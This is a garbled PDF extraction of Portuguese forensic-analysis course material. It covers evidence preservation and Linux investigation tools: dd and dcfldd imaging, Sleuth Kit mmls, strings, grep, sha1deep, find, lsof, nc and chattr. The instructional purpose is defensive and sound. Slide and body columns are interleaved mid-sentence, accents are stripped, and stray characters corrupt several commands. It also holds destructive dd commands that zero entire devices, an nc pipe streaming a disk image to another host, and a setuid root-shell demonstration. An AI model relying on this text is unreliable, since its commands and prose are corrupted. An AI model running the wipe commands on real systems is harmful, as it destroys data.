Para isso, zerar o contedo do disco (antes de gravar em termos de tamanho, geometria etc, pode ser que
qualquer evidncia) com o seguinte comando: existam algumas partes dele que no sejam sobres-
# dd if=/dev/zero of=/dev/<dispositivo> bs=512 critas pelo contedo do disco copiado. Com isso,
conv=noerror
dados que possam existir no disco novo vo continuar
dd: writing `/dev/<dispositivo>': No space left on device
514018+0 records in gravados nessas reas, podendo confundir o investi-
514017+0 records out
263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1
gador posteriormente. Mesmo assim, a ao de zerar
MB/s o contedo dos discos de armazenagem uma boa
prtica que deve ser sempre seguida.

Ambiente e ferramentas de anlise forense


36
Escola Superior de Redes RNP

Como no temos um dispositivo que possa ser zerado, importante notar


que no executaremos esse comando com um dispositivo. A execuo desse
comando pode ser feita em um arquivo comum, por exemplo, copiando um
arquivo qualquer do diretrio /data e executando os comandos abaixo:

# strings a <arquivo.dat>8

# dd if=/dev/zero of=<arquivo.dat> conv=noerror bs=1024 count=40968

# strings a <arquivo.dat>8

Este comando copia 4 MB de zeros sobre o contedo do arquivo. Caso no seja


especificado o tamanho, o DD continuaria copiando zeros at preencher o disco.
No exemplo, mostramos que o contedo que existia no arquivo foi zerado (com os
dois comandos strings, antes e depois do DD).

Antes de copiar as evidncias, necessrio garantir que nosso dispositivo de


armazenagem est limpo. Uma maneira de garantir isso zerando o contedo do
disco antes de gravar qualquer evidncia. Fazemos isso com o seguinte comando:

# dd if=/dev/zero of=/dev/<dispositivo> bs=512 conv=noerror8


dd: writing `/dev/<dispositivo>: No space left on device
514018+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s

Aqui mostramos como realizar a cpia do disco de


Preservao do disco
uma mquina suspeita. Este procedimento vale para
Passos para copiar uma partio de um disco para um
qualquer tipo de partio, mas em alguns casos, onde
arquivo de imagem: o dispositivo de disco no tem uma partio DOS vlida
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror
(disco da Sun ou Risc, por exemplo) a especificao
514017+0 records in do dispositivo diferente. No entanto, como utilizamos
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s
Linux, provavelmente seria possvel copi-lo tambm.

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512


conv=noerror Estes so os passos para copiar uma partio de
514080+0 records in
514080+0 records out
um disco para um arquivo de imagem:
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror8
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds,
7.1 MB/s

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror8


514080+0 records in
514080+0 records out
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

Assim deve ser feito sucessivamente para todas as parties existentes no disco.
Este mtodo ideal para copiar uma partio hospedada em dispositivos RAID.

No caso de ser necessrio copiar todo o disco, a nica modificao a ser feita no
comando especificar o dispositivo completo no parmetro if=<dev>.

Anlise forense Sesso de aprendizagem 2


37

Veja o exemplo abaixo:

# dd if=/dev/sda of=/data/dev_sda.img bs=512 conv=noerror8

Outras formas de preservao do disco


Outras formas de preservao do disco

Uma ferramenta do pacote forense Sleuth Kit pode ser


Voltaremos ao Sleuth Kit na prxima sesso. Por
til para identificar a estrutura do disco ou imagem: enquanto, importante mostrar como as parties
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda esto divididas no disco, e que possvel existirem
DOS Partition Table
Offset Sector: 0 espaos vazios entre as parties, que podem
Units are in 512-byte sectors
Slot
00: -----
Start
0000000000
End
0000000000
Length
0000000001
Description
Primary Table (#0)
ser utilizados pelo hacker para armazenar dados
01: -----
02: 00:00
0000000001
0000000063
0000000062
0000514079
0000000062
0000514017
Unallocated
Linux Swap (0x82) invisveis ao sistema operacional. Por exemplo, a
tabela de partio fica armazenada no setor 0, e nor-
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated malmente tem tamanho de um bloco. Os outros 62
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated
blocos at o incio da primeira partio esto livres.

Ao copiar a estrutura completa do disco, teremos


as parties do sistema, tabelas e estruturas do sistema de arquivos. Para ter
acesso s parties e seus contedos, precisamos separar as parties.

Uma ferramenta do pacote forense Sleuth Kit pode ser til para identificar a estrutura
do disco ou imagem:

# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000062 0000000062 Unallocated
02: 00:00 0000000063 0000514079 0000514017 Linux Swap (0x82)
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated

Outras formas de preservao do disco

Com estas informaes possvel extrair as parties


individuais da imagem do disco completo:

# dd if=/dev/sda of=/data/dev_sda1_swap_raw.img bs=512


count=514017 skip=63
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 12.2563 seconds, 21.5 MB/s

# sha1sum dev_sda1_swap.img dev_sda1_swap_raw.img


6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap.img
6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap_raw.img

Ambiente e ferramentas de anlise forense


38
Escola Superior de Redes RNP

No CD do Helix, existem outras ferramentas para


Outras formas de preservao do disco
facilitar a coleta de imagens de disco, como uma
Verso melhorada do DD, com capacidade de gerar um hash
verso melhorada do DD, com capacidade de gerar
automaticamente: um hash automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror
hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100M split=50M # dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img
103936 blocks (50Mb) written. bs=512 conv=noerror8
150528 blocks (73Mb) written.
514048 blocks (251Mb) written. hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100
514080+0 records in M split=50M
514080+0 records out
103936 blocks (50Mb) written.
# cat dev_sda2_root.sha1 150528 blocks (73Mb) written.
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 514048 blocks (251Mb) written.
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
514080+0 records in
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
514080+0 records out

# cat dev_sda2_root.sha18
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

Adepto

Interface grfica para utilizar o dcfldd e outras ferramentas de coleta. Contm


muitas opes para gerao, armazenagem e verificao da imagem, alm de
manter um registro de todas as operaes realizadas.

# /usr/local/bin/adepto.sh8

Anlise forense Sesso de aprendizagem 2


39

Concluses
Concluses

Como a anlise de mdia necessita de muitos recursos


Disponibilizar em sua estao forense o mximo
possvel de espao, processamento e memria. computacionais, quanto mais espao, processamento
Usar sistema operacional flexvel e confivel. e memria houver em sua estao forense, melhor.
Possuir ferramentas prontas e atualizadas no No atendimento inicial a um incidente, o investigador
atendimento inicial a um incidente. deve ter suas ferramentas prontas e atualizadas.
Evitar comprometer evidncias, coletando primeiro as
informaes mais volteis:
Memria RAM, informaes de rede, processos em Um Live-CD especfico para anlise forense pode ser
execuo, cpia do disco rgido, logs, histricos. muito til para quem no pode manter um conjunto
Estudar as ferramentas disponveis no Live-CD de ferramentas sempre atualizadas.

Deve-se evitar comprometer evidncias, coletando


primeiro as informaes mais volteis: memria RAM, informaes de rede, pro-
cessos em execuo, cpia do disco rgido, logs, histricos.

Estude as ferramentas disponveis no Live-CD, pois elas podem facilitar significati-


vamente o trabalho.

Na prxima sesso veremos ferramentas e tcnicas para coleta de evidncias a


partir da imagem do disco de uma mquina comprometida.

Ambiente e ferramentas de anlise forense


40
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 2


2
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense
Roteiro de atividades

Tpicos e conceitos

\\Identificao das ferramentas necessrias de hardware, sistema operacional e


Live-CD.

\\Preservao de informaes volteis.

Competncias tcnicas desenvolvidas

\\Elaborao de uma lista de hardware e software necessrios para iniciar uma


investigao;

\\Realizao de coleta de evidncias volteis no computador.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
42
Escola Superior de Redes RNP

Atividade 1 Kit do investigador

Juntamente com um colega, crie uma lista de hardwares e softwares que


poderiam ser utilizados por um investigador forense. Seja bem especfico.
Procure na internet os equipamentos que o investigador poderia ter em
sua maleta de ferramentas (dica: hubs, placas wireless, equipamentos
para cpia de disco). D exemplos destes equipamentos encontrados na
internet.

Atividade 2 Coleta de informaes volteis

1. Durante a parte terica, voc coletou a memria RAM da mquina virtual.


Esta uma evidncia importante no s por conter dados dos programas
em execuo, mas tambm porque, muitas vezes, os dados permanecem
na memria mesmo aps o programa terminar. Examine o contedo
desde arquivo, descrevendo dados interessantes que voc pode encontrar
na memria, como textos em programas textos de ajuda, templates,
mensagens de erro etc. Seria possvel encontrar senhas na memria? E
textos que deveriam estar criptografados em formato de texto puro?
Prepare um pequeno relatrio de situaes onde estes tipos de dados
podem ser comprometidos, caso a memria da mquina seja pesquisada
durante a execuo de um programa. Pesquise na internet se existem
ferramentas que permitem analisar a memria RAM de uma forma mais
estruturada (a pesquisa pode ser feita em dupla).

2. Utilizando os comandos vistos durante essa sesso, vamos examinar


todas as informaes que podem ser coletadas a respeito de um binrio
em memria. Escolha um processo qualquer em sua mquina (ex: sshd,
pump, bash etc) e prepare um relatrio com todas as informaes que
encontrar sobre ele, sem modificar nenhuma informao em disco, isto ,
sem acessar o binrio fisicamente no disco. O relatrio dever conter, no
mnimo, os seguintes itens: nome do processo, PID, sockets ou conexes
de rede utilizados, memria ocupada pelo programa, local onde o binrio
est armazenado no disco, linha de comando utilizada na execuo do
processo, raiz e diretrio corrente do processo, variveis de ambiente,
mapa de utilizao da memria com explicaes sobre a estrutura, e o
prprio binrio.

Anlise forense Sesso de aprendizagem 2


3
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise
forense (parte 2)
Sumrio da sesso

Software bsico de rede. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

Informaes sobre executveis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

Pacote forense de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

Ferramentas do nvel de sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . 56

Ferramentas do nvel de nomes de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . 57

Ferramentas do nvel de metadados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

Ferramentas do nvel de blocos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

Atividade 1 Investigando o disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

Atividade 2 Uso do Sleuth Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70


44
Escola Superior de Redes RNP

Software bsico de rede


Software bsico de rede

Este exemplo pode ser til para tentar detectar no


Nem sempre ser necessria a utilizao de
ferramentas complicadas para realizar uma anlise. disco a presena de texto que poderia indicar o
O Linux dispe de timas ferramentas para auxiliar o comprometimento da mquina. Por exemplo, as men-
trabalho de investigao. sagens presentes em uma ferramenta de rootkit. A
Estas ferramentas bsicas so importantes para a diferena, neste caso, que acessando diretamente
investigao, e o analista deve conhec-las muito
bem. o dispositivo de disco no modificamos informaes
Tambm existem verses destas ferramentas para importantes no sistema de arquivos, tal como a data
Windows, mas precisam ser instaladas parte. No de acesso/modificao dos arquivos.
Linux, elas j acompanham o sistema.

strings

Extrai mensagens de texto de um arquivo. Esta


uma das principais ferramentas do investigador. Com
Software bsico de rede
ela possvel detectar rapidamente se existe algum
contedo interessante em um arquivo suspeito. Pode
strings
Extrai mensagens de texto de um arquivo. ser usada tanto em arquivos comuns como direta-
mente em um arquivo de dispositivo. Exemplo:
# strings a /bin/bash
# strings a /dev/sda1 > # strings a /bin/bash8
/data/dev_sda1_swap.img.str
Com o comando acima criamos um arquivo com todas # strings a /dev/sda1 > /data/dev_sda1_swap.img.str8
as mensagens contidas no dispositivo /dev/sda1.
Este arquivo pode ser usado para detectar a
existncia no dispositivo de algum contedo Com o comando acima criamos um arquivo com todas
comprometido. as mensagens contidas no dispositivo /dev/sda1.
Podemos utilizar este arquivo para detectar rapida-
mente se existe algum contedo comprometido no
dispositivo.

Software bsico de rede


grep
grep
Procura por padres em um arquivo. Procura por padres em um arquivo. Usado em
Usado em conjunto com strings torna-se uma conjunto com strings torna-se uma ferramenta impor-
ferramenta importante para encontrar evidncias. tante para encontrar evidncias. Exemplo:
# grep -ia -f /data/dirt_list.txt
/data/dev_sda2_root.img # grep -ia -f /data/dirt_list.txt /data/dev_sda2_ro
# grep ab Bash version ot.img8
/data/dev_sda2_root.img
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0- # grep ab Bash version /data/dev_sda2_root.img8
9]{1,3}\.[0-9]{1,3}
/data/dev_sda2_root.img.str >
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/dev_sda2_root.img.str.ips
]{1,3} /data/dev_sda2_root.img.str > /data/dev_sda
2_root.img.str.ips8

No primeiro exemplo do slide, utilizamos um arquivo com palavras suspeitas como


padro de busca. O comando mostrar as palavras constantes no arquivo /data/
dirt_list.txt que tambm aparecem na imagem de disco /data/dev_sda2_root.img.
No segundo exemplo, o comando imprimir o offset em bytes de onde a sequn-
cia Bash version foi encontrada no arquivo /data/dev_sda2_root.img.

Anlise forense Sesso de aprendizagem 3


45

O ltimo exemplo mostra como utilizar o comando grep para encontrar mensa-
gens a partir de uma expresso regular. Isto torna o grep muito poderoso para
encontrar evidncias.

md5sum / sha1sum / sha1deep


Software bsico de rede
Geram um hash criptogrfico dos dados passados
md5sum / sha1sum / sha1deep
Geram um hash criptogrfico dos dados passados como como entrada. Estes comandos so importantes
entrada. Exemplo: para garantir a integridade de evidncias coleta-
# sha1sum /etc/passwd
b8e110c1a6834883b1cce60a85d7e8641cf34466/etc/passwd das durante a investigao, bem como verificar a
sha1deep autenticidade dos arquivos armazenados em disco.
Utilizado para monitorar a integridade do sistema ou procurar
por hashs atravs de uma lista de hashs conhecidos: Exemplo:
# sha1deep -r /bin /lib /sbin >
/data/system_hashs.sha1
# sha1sum /etc/passwd8
# sha1deep -r -x /data/system_hashs.sha1 /bin
# sha1deep -r -m /data/badfiles_hashs.sha1 /
b8e110c1a6834883b1cce60a85d7e8641cf34466 /etc/passwd

Podemos monitorar a integridade do sistema ou pro-


curar por hashs atravs de uma lista de hashs conhecidos. Para isso, utilizamos
sha1deep, como no exemplo abaixo:

# sha1deep -r /bin /lib /sbin > /data/system_hashs.sha18

# sha1deep -r -x /data/system_hashs.sha1 /bin8

# sha1deep -r -m /data/badfiles_hashs.sha1 /8

\\O primeiro comando do exemplo cria uma lista de hashs dos arquivos do
sistema;

\\O segundo comando compara essa lista com os arquivos do sistema para
detectar mudanas;

\\O terceiro comando procura por assinaturas de ferramentas e arquivos


comumente instalados pelo hacker.

Procura por arquivos a partir de algumas restries de busca. Pode encontrar


arquivos suspeitos no diretrio /dev, arquivos escondidos ou com caracteres
estranhos no nome, ou arquivos com permisses especficas. Estes arquivos
podem ser suspeitos, pois um arquivo com o bit setuid (stick bit) ligado pode indi-
car a presena de um root shell.

Antes da execuo do comando /data/bla, o usurio em questo era um usurio


comum. Aps a execuo, ele passa a ter um shell privilegiado, e seu EUID
(Effective User ID) passa a ser zero, indicando que a partir desse momento o usu-
rio passa a ser o super usurio do sistema. Chamamos este tipo de arquivo de
root shell, e a forma utilizada normalmente pelo invasor para recuperar o status
de super usurio aps invadir e controlar um sistema.

Ambiente e ferramentas de anlise forense (parte 2)


46
Escola Superior de Redes RNP

Software bsico de rede find

find
Procura no sistema por arquivos que casem com os
Procura no sistema por arquivos que casem com os padres especificados a partir de algumas restries
padres especificados a partir de algumas restries de de busca. Deve ser utilizado com cuidado, pois modi-
busca. Deve ser utilizado com cuidado, pois modifica as fica as datas de acesso dos arquivos pesquisados.
datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash
version" {} \; # find /bin/ -type f -exec grep -H Bash version {}
# find /dev not type b and not type c \;8
# find /data -name ".[. ]*"
# find / -perm +02000 or perm +04000 # find /dev not type b and not type c8

# find /data -name .[. ]*8

# find / -perm +02000 or perm +040008

Pode indicar a presena de um invasor, caso o


Software bsico de rede
investigador encontre um programa suspeito com
permisses de SUID:
Pode indicar a presena de um invasor, caso o
investigador encontre um programa suspeito com
$ ls -l /data/bla8
permisses de SUID:
$ ls -l /data/bla -rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla
-rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla
$ id8
$ id
uid=1000(knoppix) gid=1000(knoppix) uid=1000(knoppix) gid=1000(knoppix) groups=1000(kno
groups=1000(knoppix) ppix)
$ /data/bla
$ /data/bla8
# id
uid=1000(knoppix) gid=1000(knoppix) euid=0(root) # id8
groups=1000(knoppix)
uid=1000(knoppix) gid=1000(knoppix) euid=0(root) gr
oups=1000(knoppix)

file
Software bsico de rede
Tenta identificar o tipo de um arquivo a partir de
file
Tenta identificar o tipo de um arquivo a partir de um banco de um banco de assinaturas de arquivos conhecidos.
assinaturas de arquivos conhecidos. Algumas vezes Algumas vezes importante saber o tipo de um
importante saber o tipo de um arquivo suspeito.
arquivo suspeito.
# file /etc/passwd
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png # file /etc/passwd8
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
/etc/passwd: ASCII text
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, # file /usr/share/icons/helix.png8
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
/usr/share/icons/helix.png: PNG image data, 32 x
linked (uses shared libs), stripped.
32, 8-bit/color RGBA, non-interlaced

# file /bin/bash8
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.

O exemplo mostra algumas informaes interessantes que o investigador deve


levar em considerao quando estiver analisando arquivos suspeitos. Repare que
o resultado do comando indica que o arquivo /bin/bash linkado dinamicamente
com bibliotecas compartilhadas.

Anlise forense Sesso de aprendizagem 3


47

Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente,
as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso que
quando um invasor quiser comprometer os executveis do sistema, basta que substitua
as bibliotecas utilizadas por estes programas. Com isso, o hash criptogrfico dos arquivos
executveis no mudaria, mas eles no seriam mais confiveis.

A segunda coisa importante mostrada pelo comando acima que o arquivo /bin/
bash teve as informaes de debug removidas (stripped). Normalmente, isto
feito para diminuir o tamanho dos arquivos, mas tambm dificulta em descobrir a
utilidade de um programa, se no temos estas informaes. Encontrar um arquivo
suspeito que no tenha as informaes de debug removidas importante e pode
auxiliar bastante o investigador.

dd
Software bsico de rede
Comando utilizado para copiar dados binrios, que
dd
Comando utilizado para copiar dados binrios, que podem ser arquivos ou mesmo dispositivos fsicos.
podem ser arquivos ou mesmo dispositivos fsicos. Usado principalmente para realizar cpias fiis de disco.
Usado principalmente para realizar cpias fiis de
disco. # dd if=/dev/sda of=/dev/sdb8

# dd if=/dev/sda of=/dev/sdb # dd if=/dev/sda of=/data/partition_table.img


# dd if=/dev/sda of=/data/partition_ bs=512 count=18
table.img bs=512 count=1
# dd if=/dev/zero of=/dev/fd0  # dd if=/dev/zero of=/dev/fd08

No primeiro exemplo criamos uma cpia fiel de um


dispositivo de disco em outro disco. Para todos os
efeitos, o contedo do segundo disco igual ao do disco original. Inclusive o hash
MD5 dos dois deve permanecer igual. Com o segundo comando, copiamos apenas
um bloco do dispositivo /dev/sda para o arquivo /data/partition_table.img. Este
bloco tem 512 bytes de tamanho, e o comando dd instrudo a copiar apenas um
bloco. Neste caso, copiamos a tabela de partio do dispositivo, ou seja, as infor-
maes de como as parties esto organizadas no disco. No terceiro exemplo,
utilizamos o dispositivo virtual /dev/zero para sanitizar um disquete antes de us-lo
para armazenar evidncias. Isto importante para garantir que as evidncias no
vo ser confundidas com dados existentes previamente no disquete.

netstat
Software bsico de rede
Com este comando pode-se descobrir rapidamente
netstat
Com este comando pode-se descobrir rapidamente a a existncia de portas de rede abertas na mquina,
existncia de portas de rede abertas na mquina ou ou as conexes atualmente estabelecidas. possvel
conexes atualmente estabelecidas. tambm descobrir a existncia de rotas estticas
possvel tambm descobrir a existncia de rotas inseridas manualmente. Exemplo:
estticas inseridas manualmente. Exemplo:
# netstat nap8
# netstat nap
# netstat nr # netstat nr8
# netstat -nlp
# netstat -nlp8

Ambiente e ferramentas de anlise forense (parte 2)


48
Escola Superior de Redes RNP

lsof
Software bsico de rede
Importante ferramenta de coleta de evidncias, uti-
lsof
Importante ferramenta de coleta de evidncias, lizada para listar todos os arquivos abertos. Em um
utilizada para listar todos os arquivos abertos. sistema operacional, qualquer recurso mantm um
Em um sistema operacional, qualquer recurso mantm arquivo aberto. Conexes de rede, bibliotecas aber-
um arquivo aberto. tas, programas em execuo, tudo vai ser listado
Conexes de rede, bibliotecas abertas, programas em
execuo, tudo vai ser listado pelo lsof. pelo lsof. Exemplo:
# lsof i # lsof i8
# lsof U
# lsof l | grep LISTEN # lsof U8

# lsof l | grep LISTEN8

O comando lsof importante para detectar comportamento estranho dos progra-


mas executados. O que voc acharia, por exemplo, de um programa de edio de
textos (o vi, por exemplo), que mantm uma porta TCP aberta? Isto no comum,
e pode indicar a existncia de um trojan instalado na mquina.

nc
Software bsico de rede
A funo desta ferramenta criar uma conexo
nc
Cria uma conexo de rede com outro computador, ou de rede com outro computador, ou ento criar
ento cria um listener em uma determinada porta. um listener em uma determinada porta. Com esta
Possibilita que o investigador copie arquivos e dados ferramenta, o investigador poder copiar arquivos
de um computador para outro, no sendo necessrio e dados de um computador para outro, no sendo
gravar nada no disco da mquina comprometida,
preservando evidncias. necessrio gravar nada no disco da mquina com-
prometida, preservando evidncias. Exemplo:
# nc l p 9999 > /data/disco1.img.gz
# dd if=/dev/sda1 | gzip -9 c | nc p
# nc l p 9999 > /data/disco1.img.gz8
9999 <ip_da_estacao_forense>
# dd if=/dev/sda1 | gzip -9 c | nc p 9999 <ip_da_
estacao_forense>8

O primeiro comando deve ser executado na estao forense, conectada mesma


rede da mquina comprometida. Ele cria um listener TCP na porta 9999, e dire-
ciona tudo o que for enviado a essa porta para o arquivo /data/disco1.img.gz.

O segundo comando, a ser executado na mquina comprometida, usa o dd para


ler o dispositivo /dev/sda1, passa este contedo pelo comando gzip (para com-
pactar o contedo), e depois passa essa sada para o comando nc. Neste caso, o
comando nc est sendo utilizado para conexo na porta 9999 remota da mquina
com endereo <ip_da_estacao_forense>. Todo o contedo dos dois comandos
anteriores ser enviado para esta mquina.

Anlise forense Sesso de aprendizagem 3


49

Ethereal
Software bsico de rede
Esta ferramenta funciona como monitor de rede. Ela
Ethereal
Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o trfego de rede que chega
serve para capturar todo o trfego de rede que chega interface monitorada. Normalmente o investigador vai
interface monitorada. Exemplo: utilizar esta ferramenta para monitorar a atividade de
# ethereal -i eth0 -n -k -s 65535 -f "dst rede entrando e saindo da mquina comprometida, a
net 192.168.0.0/16"
partir da estao forense. Esta pode ser a primeira indi-
# ethereal i eth0 w /data/capture.log k
f "dst net 192.168.0.0/16 and port 22" cao de que a mquina est comprometida. Exemplo:
# ethereal r /data/capture.log n -f "src
net 192.168.0.0/16" # ethereal -i eth0 -n -k -s 65535 -f dst net
192.168.0.0/168

# ethereal i eth0 w /data/capture.log k f dst


net 192.168.0.0/16 and port 22 8

# ethereal r /data/capture.log n -f src net 192.168.0.0/168

Os exemplos mostram como executar o Ethereal para monitorar visualmente o


trfego de rede que entra e sai da mquina. No segundo exemplo, o trfego
direcionado para o arquivo /data/capture.log, para ser examinado posteriormente.
Adicionalmente, somente ser capturado o trfego direcionado aos computadores
da rede 192.168.0.0/16, e que tenha como origem ou destino a porta 22.

No ltimo exemplo, o contedo do arquivo /data/capture.log lido, e somente


mostrado o trfego saindo da rede 192.168.0.0/16

Ambiente e ferramentas de anlise forense (parte 2)


50
Escola Superior de Redes RNP

Informaes sobre executveis


Informaes sobre executveis

hexdump
hexdump
Permite a visualizao de arquivos binrios em um formato
hexadecimal. Algumas vezes pode ser interessante visualizar um
# hexdump -b /data/partition_table.img arquivo binrio em seu formato original, isto , sem
# hexdump -d /data/partition_table.img
# hexdump
00000000
-C
00
/data/partition_table.img
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
transfom-lo em texto puro. Para visualizar arquivos
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
binrios em um formato hexadecimal, podemos uti-
000001c0
000001d0
01
01
00
20
82
83
fe
fe
3f
3f
1f
3f
3f
20
00
d8
00
07
00
00
e1
20
d7
d8
07
07
00
00
00
00
00
00
|....?.?.........|
|. ..?? ... .....|
lizar a ferramenta hexdump. Este comando permite
000001e0
000001f0
01
00
40
00
05
00
fe
00
ff
00
ff
00
40
00
b0
00
0f
00
00
00
d4
00
3a
00
f0
00
00
00
00
55
00
aa
|.@....@....:....|
|..............U.|
mostrar o contedo de um arquivo binrio em diver-
sos formatos, especificados pelo usurio.

Exemplo:

# hexdump -b /data/partition_table.img8

# hexdump -d /data/partition_table.img8

# hexdump -C /data/partition_table.img8
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
000001c0 01 00 82 fe 3f 1f 3f 00 00 00 e1 d7 07 00 00 00 |....?.?.........|
000001d0 01 20 83 fe 3f 3f 20 d8 07 00 20 d8 07 00 00 00 |. ..?? ... .....|
000001e0 01 40 05 fe ff ff 40 b0 0f 00 d4 3a f0 00 00 00 |.@....@....:....|
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|

Os trs comandos acima mostram o contedo do arquivo /data/partition_table.


img nos formatos octal, decimal e hexadecimal+ASCII, respectivamente. Um
exemplo da sada do comando hexadecimal+ASCII mostra como a sada do
programa. Repare que a segunda linha da sada um caracter *. Isso indica a
presena de uma ou mais linhas iguais linha anterior ao *, o que feito para
evitar a impresso de diversas linhas iguais.

lsattr/chattr
Informaes sobre executveis
Alm das permisses de acesso normais do arquivo
lsattr/chattr
Alm das permisses de acesso normais do arquivo (leitura, escrita e execuo), existem permisses
(leitura, escrita e execuo), existem permisses extras no sistema de arquivos que permitem controlar
extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos
o acesso aos arquivos.
extendidos podem ser modificados ou verificados
# rm -f /data/bla com os comandos lsattr e chattr: append only (a),
rm: cannot remove `/data/bla': Operation not permitted
# lsattr /data/bla compressed (c), no dump (d), immutable (i), data
----i------------ /data/bla journalling (j), secure deletion (s), no tail-merging (t),
# chattr -i +u /data/bla
undeletable (u), no atime updates (A), synchronous
directory updates (D), synchronous updates (S), top
of directory hierarchy (T). Normalmente o atributo
mais utilizado pelos invasores para proteger seus
arquivos o immutable.

Anlise forense Sesso de aprendizagem 3


51

Com este atributo, um arquivo no pode ser apagado nem modificado por nenhum
usurio do sistema. Exemplo:

# rm -f /data/bla8
rm: cannot remove `/data/bla: Operation not permitted

# lsattr /data/bla8
----i------------ /data/bla

# chattr -i +u /data/bla8

Em certas ocasies, um administrador de uma mquina comprometida pode


encontrar os arquivos instalados pelo invasor na mquina, e ao tentar remov-los,
percebe que no consegue. Mesmo acessando o sistema como root, o sistema
diz que no permitido remover tal arquivo.

Como vimos no exemplo, um arquivo com o atributo immutable no pode ser


removido nem mesmo pelo super usurio. O comando lsattr pode ser utilizado
para listar os atributos extendidos dos arquivos, e o comando chattr pode ser
utilizado para adicionar ou remover atributos extendidos.

Lembre-se de que encontrar um arquivo com atributos extendidos em uma


mquina, principalmente se for com o atributo immutable, pode ser um indicativo
de comprometimento.

strace
Informaes sobre executveis
Permite executar um processo e acompanhar toda
strace
Permite executar um processo e acompanhar toda a a atividade executada pelo mesmo, como todos os
